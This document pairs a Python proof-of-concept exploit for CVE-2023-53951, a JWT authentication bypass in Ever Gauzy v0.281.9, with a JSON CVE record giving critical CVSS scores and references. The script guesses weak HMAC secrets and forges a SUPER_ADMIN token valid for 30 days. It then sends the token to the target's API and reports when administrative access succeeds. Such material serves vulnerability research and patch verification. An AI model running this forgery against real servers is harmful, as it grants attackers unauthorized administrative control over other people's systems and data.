CVE-2023-53951

import jwt import requests from datetime import datetime, timedelta # CVE-2023-53951 PoC - Ever Gauzy JWT Authentication Bypass # Target: Ever Gauzy v0.281.9 # Vulnerability: Weak HMAC secret key allows JWT token forgery TARGET_URL = "http://target-server:3000" API_ENDPOINT = f"{TARGET_URL}/api/auth/login" # Common weak JWT secret keys used in Ever Gauzy (for testing only) WEAK_SECRETS = [ "ever-gauzy-secret", "gauzy-jwt-secret", "secret", "password", "EverGauzy2023", "default-secret-key" ] def create_fake_admin_token(secret): """Generate a forged JWT token with admin privileges""" payload = { "sub": "1", "email": "[email protected]", "role": "SUPER_ADMIN", "iat": int(datetime.utcnow().timestamp()), "exp": int((datetime.utcnow() + timedelta(days=30)).timestamp()) } token = jwt.encode(payload, secret, algorithm="HS256") return token def test_jwt_forgery(): """Test JWT token forgery with weak secrets""" print("[*] CVE-2023-53951 - Ever Gauzy JWT Bypass PoC") print(f"[*] Target: {TARGET_URL}") for secret in WEAK_SECRETS: forged_token = create_fake_admin_token(secret) print(f"[*] Testing secret: {secret}") print(f"[*] Forged token: {forged_token[:50]}...") # Verify token with target server headers = {"Authorization": f"Bearer {forged_token}"} response = requests.get(f"{TARGET_URL}/api/user/me", headers=headers) if response.status_code == 200: print(f"[!] SUCCESS! Valid token forged with secret: {secret}") print(f"[!] Admin access gained: {response.json()}") return forged_token print("[-] All weak secrets failed, try other keys") return None if __name__ == "__main__": test_jwt_forgery()

{"cve": {"id": "CVE-2023-53951", "sourceIdentifier": "[email protected]", "published": "2025-12-19T21:15:51.240", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ever Gauzy v0.281.9 contains a JWT authentication vulnerability that allows attackers to exploit weak HMAC secret key implementation. Attackers can leverage the exposed JWT token to authenticate and gain unauthorized access with administrative permissions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "references": [{"url": "https://github.com/ever-co/ever-gauzy", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51354", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/ever-gauzy-jwt-authentication-weakness-via-hmac-secret", "source": "[email protected]"}]}}